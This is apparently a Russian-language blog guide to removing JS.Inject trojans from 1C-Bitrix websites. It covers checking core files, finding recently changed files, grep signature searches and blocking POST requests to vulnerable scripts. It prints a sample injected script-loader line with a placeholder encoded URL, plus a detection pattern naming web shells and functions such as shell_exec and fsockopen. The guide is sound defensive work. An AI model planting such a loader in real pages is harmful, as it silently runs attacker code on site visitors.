Борьба с троянами типа JS.Inject
Последние записи
Код и описание борьбы с троянами предоставляются как есть. Вы используете их на свой страх и риск
Перед поиском вирусов нужно:
1. Сменить доступы в админку, ftp\ssh, хостинг
2. Убедиться, что компьютер на котором производится лечение не заражен, для чего следует произвести проверку компьютера на вирусы
3. Сделать полный бэкп сайта как через админку, так и через панель управления хостингом
4. Воспользоваться решением от 1С-Битрикс для поиска троянов
5. Обратиться в тех. поддержку хостинга с просьбой проверить сайт антивирусом. Иногда данные услуги бесплатны, иногда стоят символических денег. Не пренебрегайте данной возможностью
Если же вы решили найти вирус самостоятельно, то в большинстве случаев вам нужно:
Пролистать файл bitrix\js\main\core\core.js
в самый низ и убедиться, что до или после строчки //# sourceMappingURL=core.js.map
(~18459) нет никакого странного или непонятного кода. Вы можете увидеть нечто вроде:
\bs=document.createElement(`script`);s.src=atob(`ЗАКОДИРОВАННАЯ_СТРОКА`);document.head.appendChild(s);
Просмотреть файл bitrix\modules\main\include\prolog.php
на нежелательные вставки кода или просто заменить файл свежим. Актуальный на момент выхода материала файл имеет следующий вид:
<?
require_once(dirname(__FILE__)."/../bx_root.php");
if (file_exists($_SERVER["DOCUMENT_ROOT"].BX_PERSONAL_ROOT."/html_pages/.enabled"))
{
require_once(dirname(__FILE__)."/../lib/composite/responder.php");
Bitrix\Main\Composite\Responder::respond();
}
require_once(dirname(__FILE__)."/prolog_before.php");
require($_SERVER["DOCUMENT_ROOT"].BX_ROOT."/modules/main/include/prolog_after.php");
Проверка папок и файлов по дате последнего изменения
Это наиболее действенный метод, если вы хорошо знаете файловую структуру и дату заражения. Вводить команду нужно в консоли SSH
или хостинга (если таковой позволяет это). В данном случае команда ищет все измененные файлы за последние 3 дня
find . –name '*.ph*' -mtime -3
Поиск вредоносного кода по содержимому
find ./ -type f -name "*.php" -exec grep -i -H "wso shell\|Backdoor\|Shell\|base64_decode\|str_rot13\|gzuncompress\|gzinflate\|strrev\|killall\|navigator.userAgent.match\|mysql_safe\|UdpFlood\|40,101,115,110,98,114,105,110\|msg=@gzinflate\|sql2_safe\|NlOThmMjgyODM0NjkyODdiYT\|6POkiojiO7iY3ns1rn8\|var vst = String.fromCharCode\|c999sh\|request12.php\|auth_pass\|shell_exec\|FilesMan\|passthru\|system\|passwd\|mkdir\|chmod\|mkdir\|md5=\|e2aa4e\|file_get_contents\|eval\|stripslashes\|fsockopen\|pfsockopen\|base64_files" {} \;
или без find
grep -R -i -H -E "wso shell|Backdoor|Shell|base64_decode|str_rot13|gzuncompress|gzinflate|strrev|killall|navigator.userAgent.match|mysql_safe|UdpFlood|40,101,115,110,98,114,105,110|msg=@gzinflate|sql2_safe|NlOThmMjgyODM0NjkyODdiYT|6POkiojiO7iY3ns1rn8|var vst = String.fromCharCode|c999sh|request12.php|auth_pass|shell_exec|FilesMan|passthru|system|passwd|mkdir|chmod|md5=|e2aa4e|file_get_contents|eval|stripslashes|fsockopen|pfsockopen|base64_files" ./
Проверка базы данных на наличие вставок
В панели управления базой данных phpmyadmin
поочередно ищем следующие вхождения:
<script , <? , <?php , <iframe
В случае заражения через модуль Битрикс vote
Требуется запретить POST
запросы к следующим системным файлам Битрикс
/bitrix/tools/upload.php
/bitrix/tools/mail_entry.php
/bitrix/modules/main/include/virtual_file_system.php
/bitrix/components/bitrix/sender.mail.editor/ajax.php
/bitrix/tools/vote/uf.php
/bitrix/tools/html_editor_action.php
/bitrix/admin/site_checker.php
1. Ручное редактирование файлов. Добавляем перед required
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
header("Status: 404 Not Found");
die();
}
2. Запрет через nginx
# ломает загрузку файлов в ИБ
location /bitrix/tools/upload.php {
if ($request_method = POST ) {
deny all;
}
}
location /bitrix/tools/mail_entry.php {
if ($request_method = POST ) {
deny all;
}
}
location /bitrix/tools/vote/uf.php {
if ($request_method = POST ) {
deny all;
}
}
location /bitrix/tools/html_editor_action.php {
if ($request_method = POST ) {
deny all;
}
}
location /bitrix/admin/site_checker.php {
if ($request_method = POST ) {
deny all;
}
}
3. Через htaccess
. Нужна конструкция вида:
<Files ~ "^(имя файлов)\.php$>
deny from all
</Files>
Для /bitrix/tools/:
<Files ~ "^(html_editor_action|mail_entry|upload)\.php$>
deny from all
</Files>
Для /bitrix/tools/vote/:
<Files ~ "^(uf)\.php$>
deny from all
</Files>
Для /bitrix/modules/main/include/:
<Files ~ "^(virtual_file_system)\.php$>
deny from all
</Files>
Для /bitrix/components/bitrix/sender.mail.editor/:
<Files ~ "^(ajax)\.php$>
deny from all
</Files>
Для /bitrix/admin/:
<Files ~ "^(site_checker)\.php$>
deny from all
</Files>
Рекомендуется использовать решение только на время атак поскольку часть функционала админки будет недоступна. Более предпочтительное решение - обновление Битрикс до актуальной версии или избавление от модуля vote
Данное решение описано здесь: Массовый взлом сайтов на 1С-Битрикс. Как защититься?
В случае выявления вирусов я настоятельно рекомендую обращаться к специалистам по кибербезопасности (не ко мне)
Комментарии